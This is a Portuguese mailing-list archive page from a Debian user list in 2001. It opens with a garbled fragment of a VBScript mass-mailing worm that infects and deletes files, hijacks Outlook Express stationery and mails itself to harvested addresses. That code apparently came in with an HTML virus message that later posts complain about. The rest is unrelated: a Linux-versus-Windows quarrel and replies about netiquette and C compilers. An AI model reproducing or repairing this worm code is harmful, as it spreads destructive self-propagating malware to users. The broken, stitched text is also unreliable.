 f2 = FNext(Of, Od, f1)
 fext = GetExt(Of, Od, f2)
 Rw Ks  Help\FileName, f2
 If IsDel(fext) Then
 f3 = f2
 f2 = FNext(Of, Od, f2)
 Rw Ks  Help\FileName, f2
 Of.DeleteFile f3
 Else
 If LCase(WScript.ScriptFullname)  LCase(f2) Then
 Fw Of, f2, fext
 End If
 End If
 If (CInt(Cn) Mod 366) = 0 Then
 If (CInt(Second(Time)) Mod 2) = 0 Then
 Tsend
 Else
 adds = Og
 Msend (adds)
 End If
 End If
 wp = Rg(HKEY_CURRENT_USER\Control Panel\desktop\wallPaper)
 If Rg(Ks  Help\wallPaper)  wp Or wp =  Then
 If wp =  Then
 n1 = 
 n3 = Cs  \Help.htm
 Else
 mP = Of.GetFile(wp).ParentFolder
 n1 = Of.GetFileName(wp)
 n2 = Of.GetBaseName(wp)
 n3 = Cs  \  n2  .htm
 End If
 Set pfc = Of.CreateTextFile(n3, True)
 mt = Sa(1100)
 pfc.Write   HTML  body bgcolor='#007f7f' background='  n1 
 '  /Body  /HTML  mt pfc.Close
 Rw Ks  Help\wallPaper, n3
 Rw HKEY_CURRENT_USER\Control Panel\desktop\wallPaper, n3
 End If
 Else
 Set fc = Of.CreateTextFile(Ds  \Help.vbs, True)
 fc.Write Sa(0100)
 fc.Close
 bf = Cs  \Untitled.htm
 Set fc2 = Of.CreateTextFile(bf, True)
 fc2.Write Lhtml
 fc2.Close
 oeid = Rg(HKEY_CURRENT_USER\Identities\Default User ID)
 oe = HKEY_CURRENT_USER\Identities\  oeid  \Software\Microsoft\Outlook
 Express\5.0\Mail MSH = oe  \Message Send HTML
 CUS = oe  \Compose Use Stationery
 SN = oe  \Stationery Name
 Rw MSH, 1
 Rw CUS, 1
 Rw SN, bf
 Web = Cs  \WEB
 Set gf = Of.GetFolder(Web).Files
 Od.Add htt, 1100
 For Each m In gf
 fext = GetExt(Of, Od, m)
 If fext   Then
 Fw Of, m, fext
 End If
 Next
 End If
 End Sub
 Sub mclose()
 document.Write   titleI am sorry!/title  
 window.Close
 End Sub
 Sub Rt()
 Dim mPath
 On Error Resume Next
 mPath = Grf()
 Iv mPath, Help.vbs
 End Sub
 Function Sa(n)
 Dim VBSText, m
 VBSText = Lvbs()
 If Mid(n, 3, 1) = 1 Then
 m = %  VBSText  %
 End If
 If Mid(n, 2, 1) = 1 Then
 m = VBSText
 End If
 If Mid(n, 1, 1) = 1 Then
 m = Lscript(m)
 End If
 Sa = m  vbCrLf
 End Function
 Sub Fw(Of, S, n)
 Dim fc, fc2, m, mmail, mt
 On Error Resume Next
 Set fc = Of.OpenTextFile(S, 1)
 mt = fc.ReadAll
 fc.Close
 If Not Sc(mt) Then
 mmail = Ml(mt)
 mt = Sa(n)
 Set fc2 = Of.OpenTextFile(S, 8)
 fc2.Write mt
 fc2.Close
 Msend (mmail)
 End If
 End Sub
 Function Sc(S)
 mN = Rem I am sorry! happy time
 If InStr(S, mN)  0 Then
 Sc = True
 Else
 Sc = False
 End If
 End Function
 Function FNext(Of, Od, S)
 Dim fpath, fname, fext, T, gf
 On Error Resume Next
 fname = 
 T = False
 If Of.FileExists(S) Then
 fpath = Of.GetFile(S).ParentFolder
 fname = S
 ElseIf Of.FolderExists(S) Then
 fpath = S
 T = True
 Else
 fpath = Dnext(Of, )
 End If
 Do While True
 Set gf = Of.GetFolder(fpath).Files
 For Each m In gf
 If T Then
 If GetExt(Of, Od, m)   Then
 FNext = m
 Exit Function
 End If
 ElseIf LCase(m) = LCase(fname) Or fname =  Then
 T = True
 End If
 Next
 fpath = Pnext(Of, fpath)
 Loop
 End Function
 Function Pnext(Of, S)
 On Error Resume Next
 Dim Ppath, Npath, gp, pn, T, m
 T = False
 If Of.FolderExists(S) Then
 Set gp = Of.GetFolder(S).SubFolders
 pn = gp.Count
 If pn = 0 Then
 Ppath = LCase(S)
 Npath = LCase(Of.GetParentFolderName(S))
 T = True
 Else
 Npath = LCase(S)
 End If
 Do While Not Er
 For Each pn In Of.GetFolder(Npath).SubFolders
 If T Then
 If Ppath = LCase(pn) Then
 T = False
 End If
 Else
 Pnext = LCase(pn)
 Exit Function
 End If
 Next
 T = True
 Ppath = LCase(Npath)
 Npath = Of.GetParentFolderName(Npath)
 If Of.GetFolder(Ppath).IsRootFolder Then
 m = Of.GetDriveName(Ppath)
 Pnext = Dnext(Of, m)
 

Falou bestera do linux.

2001-12-18 Por tôpico Pr1nc3_0F_P3rS1a *
Sr. marco nunez, com certeza o sr falou do que não conhece ao falar do 
linux. o código aberto não é perigoso, tanto que o windows é mais hackeado 
que o linux, o Linux é de graça porque é feito por programadores que querem 
liberdade e querem um sistema melhor, por isso é feito por vários 
programadores voluntários ao redor do mundo.


To enviando cópias para as listas debian-usr-portuguese e linuxall, quando 
responderem enviem uma cópia mara marconunez sob protesto ok? :)


Texto encontrado em http://www.marconunez.com/farsantes.html

DA PROPRIEDADE

A anunciada SALVAÇÃO DA INFORMÁTICA by Linux é uma farsa!

Códigos Abertos- maravilha, a coisa fica mais fácil ainda para se destruir e 
contaminar. Além que este verdadeiro exército de experts vão passar a 
programar, e aí tenho pena do futuro da Web.


É de Graça- isso aprendi desde pequenininho... desconfie meu filho, 
desconfie, e não aceite. Diziam meus pais.


O LINUX não trava- engraçado... o meu Windows também não. Nesta 
finalização das operações de guerrilha do Bem, chegou-se ao território-WEB 
em 13 de abril de 1999, e passei a trabalhar com 29 (vinte e nove) 
Navegadores abertos, conectados, em uma única máquina: um Pentium com 48 M 
de memória. Ainda faço Edição HTML com o FrontPage; simultâneas subidas, 
para 5 (cinco) casas-mata, com os alegres menininhos sorridentes do CutFTP; 
não raro, conectado a 2.400 bps. Tudo ao mesmo tempo! E aí? Devo falar 
bonito? Falo bonito pra você leitor-vítima deles.


Pra eles: -cambada de incompetentes! É o que são.

O Windows é uma droga!!!- ora, expliquem o Windows. Não conhecem e nem 
sabem. Cadê a NORTON e outras para alertarem ao mundo a existência e o 
perigo de um DELTREE.EXE/Y rodar em sua máquina? NORTON PROTECTOR, NORTON 
ANTI-SEI LÁ O QUE, nenhum te avisava nada! E mais, ao desinstalá-lo, vá por 
Regedit e veja a sujeira que o NORTON deixa: -desinstala igual a cara 
deles! O Windows lida com os processadores, o que outro SO qualquer pode 
fazer também. O que ocorreu no Windows é que as Equipes, os tais Certified 
By, falharam em muitas coisas... Avisei ao Chefão deles, mas o orgulho não 
os deixou corrigirem. Por isso, espero que alguma Comissão de Defesa de 
Consumidores, séria e incorruptível, dê ao Sr. Mauro Muratório Not o que 
merece: -como exemplo de que algo mudou neste Brasil. E o problema maior dos 
Sistemas Operacionais, não está neles, está no talento dos programadores. 
Depois é só sair acusando o SO de coisas que ele não tem a mínima culpa. 
Repito: O Windows é ótimo, feitas as pequenas alterações. Pequenas, porém 
que derrubarão muralhas de orgulhos. E use o Sistema Operacional que 
atender suas necessidades, lhe dê segurança e estabilidade... pois no fundo 
é tudo a mesma coisa, o que os estraga são os enfeites mal-projetados e o 
desprezo pela segurança básica do SO, da base de tudo.





O Pinguim de quatro, na frente de todo mundo...

-Mensagem original-
De: Fernando Carreiro Albuquerque [EMAIL PROTECTED]
Para: [EMAIL PROTECTED] [EMAIL PROTECTED]
Data: Quarta-feira, 24 de Novembro de 1999 02:19
Assunto: Linux

Caro Marco,
Aprofundando mais em seu site, vi coisas interessantes sobre o Linux. Mas 
acho que consegui a proeza, não uma nem duas vezes, mas várias, de travar o 
pinguim, mais fácil que o Windows, basta executar o Gimp (o Photoshop deles) 
e rodar um arquivo maiorzinho ou um plug-in mais exigente e ele capota de 
quatro com um agravante, tente reiniciá-lo, acusará corrupção de arquivos e 
incapacidade para entrar no root, uma gracinha, o tal de lilo (carregador 
dos sistemas) diz ser generoso , carrega o Windows, mas depois que o coloca 
no registro mestre de inicialização ele dá um pé na bunda do Windows e não 
há santo que acesse o Windows, nem desinstalando o Linux! É um sistema 
intermediário, diria híbrido, que não tem a robustez de um Unix ou NT nem a 
interatividade e facilidade de uso da interface de um W98/95, acho bacana o 
aspecto do código aberto, mesmo com os perigos
inerentes, mas o Linux seria o sistema melhor indicado para automação, 
robótica, controle de recursos mecânicos e coisas afins, já que pode ser 
facilmente mudado e adaptado, mas para o usuário final é massacrante e a 
vulnerabilidade pode ser um ponto a se questionar, acho que vírus não foram 
feitos para ele por ser um refúgio dos hackers, como os portos seguros dos 
piratas antigos... Se a comercialização substituir o ideal do código aberto 
(como parece querer o agora interessado com cifrões no lugar das pupilas, 
Linus Torvald, ao anunciar um computador inteiramente Linux), aí quero ver o 
circo pegar fogo...


Fernando Carreiro Albuquerque
http://talk.to/fernando





_
Associe-se ao maior serviço de 

Re: Help (Por Favor não mandem email html!!!!!)

2001-12-18 Por tôpico Gustavo Noronha Silva
On Wed, 19 Dec 2001 01:29:03 -0200
Philipe Gaspar [EMAIL PROTECTED] wrote:

Hau Philipe, 

citar a mensagem toda não ajudou muito a evitar os estragos feitos
pela mensagem html com vírus =(

[]s!

-- 
Gustavo Noronha Silva - kov http://www.metainfo.org/kov
*-* -+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+-+
|  .''`.  | Debian GNU/Linux: http://www.debian.org |
| : :'  : + Debian BR...: http://debian-br.cipsga.org.br+
| `. `'`  + Q: Why did the chicken cross the road?  +
|   `-| A: Upstream's decision. -- hmh  |
*-* -+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+-+



Re: compilador c; e leitor de mail

2001-12-18 Por tôpico Gustavo Noronha Silva
On Ter, 18 Dez 2001 23:34:54
[EMAIL PROTECTED] wrote:

 que compilador de c eu uso no gnome? após instala-lo como o chamo?
 como configuro o mailbr ou qualqr mail gratuito pelo netscape?
Olá, antes de mais nada não faça crossposting (mandar o mesmo email com
To: pra várias listas) isso não é bom para ninguém, é anti-netiqueta...

compilador C você tem o gcc, tem vários ides pra Gnome, entre eles
anjuta e gide, configurar mailbr ou qualquer email gratuito você
configura como configuraria em qualquer outro cliente de email, veja
a página de suporte/ajuda do seu serviço de email para mais informações

e obrigado por não repetir o crossposting

[]s!

-- 
Gustavo Noronha Silva - kov http://www.metainfo.org/kov
*-* -+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+-+
|  .''`.  | Debian GNU/Linux: http://www.debian.org |
| : :'  : + Debian BR...: http://debian-br.cipsga.org.br+
| `. `'`  + Q: Why did the chicken cross the road?  +
|   `-| A: Upstream's decision. -- hmh  |
*-* -+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+-+



Re: Help (Por Favor não mandem email html!!!!!)

2001-12-18 Por tôpico Philipe Gaspar
Em Wednesday 19 December 2001 02:35, Gustavo Noronha Silva escreveu:
 On Wed, 19 Dec 2001 01:29:03 -0200
 Philipe Gaspar [EMAIL PROTECTED] wrote:

 Hau Philipe,

 citar a mensagem toda não ajudou muito a evitar os estragos feitos
 pela mensagem html com vírus =(

Pelo menos chamou a atenção ;)
 []s!

-- 
Philipe Gaspar aka kr0n.
Unix SysAdmin
[EMAIL PROTECTED]